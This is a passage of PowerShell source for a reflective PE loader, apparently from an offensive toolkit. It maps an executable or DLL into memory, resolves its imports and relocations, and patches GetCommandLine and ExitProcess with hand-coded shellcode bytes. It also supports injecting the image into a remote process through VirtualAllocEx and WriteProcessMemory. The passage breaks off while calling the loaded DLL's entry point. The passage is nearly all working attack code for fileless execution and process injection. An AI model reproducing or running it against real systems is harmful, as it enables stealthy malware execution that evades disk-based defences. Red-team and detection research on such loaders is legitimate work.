                    if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
                    {
                        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
                        $ProcedureNamePtr = [IntPtr]::Zero
                    }
                }

                $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
            }
        }
    }

    Function Get-VirtualProtectValue
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [UInt32]
        $SectionCharacteristics
        )

        $ProtectionFlag = 0x0
        if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
        {
            if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
            {
                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
                }
            }
            else
            {
                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
                }
            }
        }
        else
        {
            if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
            {
                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE_READWRITE
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE_READONLY
                }
            }
            else
            {
                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
                }
            }
        }

        if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
        {
            $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
        }

        return $ProtectionFlag
    }

    Function Update-MemoryProtectionFlags
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )

        for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
            $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
            [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)

            [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
            [UInt32]$SectionSize = $SectionHeader.VirtualSize

            [UInt32]$OldProtectFlag = 0
            Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
            $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
            if ($Success -eq $false)
            {
                Throw "Unable to change memory protection"
            }
        }
    }

    #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
    #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
    Function Update-ExeFunctions
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants,

        [Parameter(Position = 3, Mandatory = $true)]
        [String]
        $ExeArguments,

        [Parameter(Position = 4, Mandatory = $true)]
        [IntPtr]
        $ExeDoneBytePtr
        )

        #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
        $ReturnArray = @()

        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
        [UInt32]$OldProtectFlag = 0

        [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
        if ($Kernel32Handle -eq [IntPtr]::Zero)
        {
            throw "Kernel32 handle null"
        }

        [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
        if ($KernelBaseHandle -eq [IntPtr]::Zero)
        {
            throw "KernelBase handle null"
        }

        #################################################
        #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
        #   We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
        $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
        $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)

        [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
        [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")

        if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
        {
            throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
        }

        #Prepare the shellcode
        [Byte[]]$Shellcode1 = @()
        if ($PtrSize -eq 8)
        {
            $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
        }
        $Shellcode1 += 0xb8

        [Byte[]]$Shellcode2 = @(0xc3)
        $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length

        #Make copy of GetCommandLineA and GetCommandLineW
        $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
        $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
        $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
        $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
        $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
        $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)

        #Overwrite GetCommandLineA
        [UInt32]$OldProtectFlag = 0
        $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
        if ($Success = $false)
        {
            throw "Call to VirtualProtect failed"
        }

        $GetCommandLineAAddrTemp = $GetCommandLineAAddr
        Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
        $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
        $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
        Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp

        $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null


        #Overwrite GetCommandLineW
        [UInt32]$OldProtectFlag = 0
        $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
        if ($Success = $false)
        {
            throw "Call to VirtualProtect failed"
        }

        $GetCommandLineWAddrTemp = $GetCommandLineWAddr
        Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
        $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
        $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
        Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp

        $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
        #################################################

        #################################################
        #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
        #   I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
        #   It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
        #   argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
        $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
            , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")

        foreach ($Dll in $DllList)
        {
            [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
            if ($DllHandle -ne [IntPtr]::Zero)
            {
                [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
                [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
                if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
                {
                    "Error, couldn't find _wcmdln or _acmdln"
                }

                $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
                $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)

                #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
                $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
                $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
                $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
                $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
                $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
                $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)

                $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
                if ($Success = $false)
                {
                    throw "Call to VirtualProtect failed"
                }
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
                $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null

                $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
                if ($Success = $false)
                {
                    throw "Call to VirtualProtect failed"
                }
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
                $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
            }
        }
        #################################################

        #################################################
        #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.

        $ReturnArray = @()
        $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process

        #CorExitProcess (compiled in to visual studio c++)
        [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
        if ($MscoreeHandle -eq [IntPtr]::Zero)
        {
            throw "mscoree handle null"
        }
        [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
        if ($CorExitProcessAddr -eq [IntPtr]::Zero)
        {
            Throw "CorExitProcess address not found"
        }
        $ExitFunctions += $CorExitProcessAddr

        #ExitProcess (what non-managed programs use)
        [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
        if ($ExitProcessAddr -eq [IntPtr]::Zero)
        {
            Throw "ExitProcess address not found"
        }
        $ExitFunctions += $ExitProcessAddr

        [UInt32]$OldProtectFlag = 0
        foreach ($ProcExitFunctionAddr in $ExitFunctions)
        {
            $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
            #The following is the shellcode (Shellcode: ExitThread.asm):
            #32bit shellcode
            [Byte[]]$Shellcode1 = @(0xbb)
            [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
            #64bit shellcode (Shellcode: ExitThread.asm)
            if ($PtrSize -eq 8)
            {
                [Byte[]]$Shellcode1 = @(0x48, 0xbb)
                [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
            }
            [Byte[]]$Shellcode3 = @(0xff, 0xd3)
            $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length

            [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
            if ($ExitThreadAddr -eq [IntPtr]::Zero)
            {
                Throw "ExitThread address not found"
            }

            $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
            if ($Success -eq $false)
            {
                Throw "Call to VirtualProtect failed"
            }

            #Make copy of original ExitProcess bytes
            $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
            $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
            $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)

            #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
            #   call ExitThread
            Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
            Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
            Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp

            $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
        }
        #################################################

        Write-Output $ReturnArray
    }

    #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
    #   It copies Count bytes from Source to Destination.
    Function Copy-ArrayOfMemAddresses
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Array[]]
        $CopyInfo,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants
        )

        [UInt32]$OldProtectFlag = 0
        foreach ($Info in $CopyInfo)
        {
            $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
            if ($Success -eq $false)
            {
                Throw "Call to VirtualProtect failed"
            }

            $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null

            $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
        }
    }


    #####################################
    ##########    FUNCTIONS   ###########
    #####################################
    Function Get-MemoryProcAddress
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [IntPtr]
        $PEHandle,

        [Parameter(Position = 1, Mandatory = $true)]
        [String]
        $FunctionName
        )

        $Win32Types = Get-Win32Types
        $Win32Constants = Get-Win32Constants
        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants

        #Get the export table
        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
        {
            return [IntPtr]::Zero
        }
        $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
        $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)

        for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
        {
            #AddressOfNames is an array of pointers to strings of the names of the functions exported
            $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
            $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
            $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)

            if ($Name -ceq $FunctionName)
            {
                #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
                #    which contains the offset of the function in to the DLL
                $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
                $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
                $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
                $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
                return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
            }
        }

        return [IntPtr]::Zero
    }


    Function Invoke-MemoryLoadLibrary
    {
        Param(
        [Parameter( Position = 0, Mandatory = $true )]
        [Byte[]]
        $PEBytes,

        [Parameter(Position = 1, Mandatory = $false)]
        [String]
        $ExeArgs,

        [Parameter(Position = 2, Mandatory = $false)]
        [IntPtr]
        $RemoteProcHandle,

        [Parameter(Position = 3)]
        [Bool]
        $ForceASLR = $false
        )

        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])

        #Get Win32 constants and functions
        $Win32Constants = Get-Win32Constants
        $Win32Functions = Get-Win32Functions
        $Win32Types = Get-Win32Types

        $RemoteLoading = $false
        if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
        {
            $RemoteLoading = $true
        }

        #Get basic PE information
        Write-Verbose "Getting basic PE information from the file"
        $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
        $OriginalImageBase = $PEInfo.OriginalImageBase
        $NXCompatible = $true
        if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
        {
            Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
            $NXCompatible = $false
        }

        #Verify that the PE and the current process are the same bits (32bit or 64bit)
        $Process64Bit = $true
        if ($RemoteLoading -eq $true)
        {
            $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
            $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
            if ($Result -eq [IntPtr]::Zero)
            {
                Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
            }

            [Bool]$Wow64Process = $false
            $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
            if ($Success -eq $false)
            {
                Throw "Call to IsWow64Process failed"
            }

            if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
            {
                $Process64Bit = $false
            }

            #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
            $PowerShell64Bit = $true
            if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
            {
                $PowerShell64Bit = $false
            }
            if ($PowerShell64Bit -ne $Process64Bit)
            {
                throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
            }
        }
        else
        {
            if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
            {
                $Process64Bit = $false
            }
        }
        if ($Process64Bit -ne $PEInfo.PE64Bit)
        {
            Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
        }

        #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
        Write-Verbose "Allocating memory for the PE and write its headers to memory"

        #ASLR check
        [IntPtr]$LoadAddr = [IntPtr]::Zero
        $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
        if ((-not $ForceASLR) -and (-not $PESupportsASLR))
        {
            Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
            [IntPtr]$LoadAddr = $OriginalImageBase
        }
        elseif ($ForceASLR -and (-not $PESupportsASLR))
        {
            Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
        }

        if ($ForceASLR -and $RemoteLoading)
        {
            Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
        }
        if ($RemoteLoading -and (-not $PESupportsASLR))
        {
            Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
        }

        $PEHandle = [IntPtr]::Zero              #This is where the PE is allocated in PowerShell
        $EffectivePEHandle = [IntPtr]::Zero     #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
        if ($RemoteLoading -eq $true)
        {
            #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
            $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)

            #todo, error handling needs to delete this memory if an error happens along the way
            $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
            if ($EffectivePEHandle -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
            }
        }
        else
        {
            if ($NXCompatible -eq $true)
            {
                $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
            }
            else
            {
                $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
            }
            $EffectivePEHandle = $PEHandle
        }

        [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
        if ($PEHandle -eq [IntPtr]::Zero)
        {
            Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
        }
        [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null


        #Now that the PE is in memory, get more detailed information about it
        Write-Verbose "Getting detailed PE information from the headers loaded in memory"
        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
        $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
        $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
        Write-Verbose "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)"


        #Copy each section from the PE in to memory
        Write-Verbose "Copy PE sections in to memory"
        Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types


        #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
        Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
        Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types


        #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
        Write-Verbose "Import DLL's needed by the PE we are loading"
        if ($RemoteLoading -eq $true)
        {
            Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
        }
        else
        {
            Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
        }


        #Update the memory protection flags for all the memory just allocated
        if ($RemoteLoading -eq $false)
        {
            if ($NXCompatible -eq $true)
            {
                Write-Verbose "Update memory protection flags"
                Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
            }
            else
            {
                Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
            }
        }
        else
        {
            Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
        }


        #If remote loading, copy the DLL in to remote process memory
        if ($RemoteLoading -eq $true)
        {
            [UInt32]$NumBytesWritten = 0
            $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
            if ($Success -eq $false)
            {
                Throw "Unable to write shellcode to remote process memory."
            }
        }


        #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
        if ($PEInfo.FileType -ieq "DLL")
        {
            if ($RemoteLoading -eq $false)
            {
                Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
                $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
                $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
                $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)

                $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr] 2) | Out-Null
            }
            else
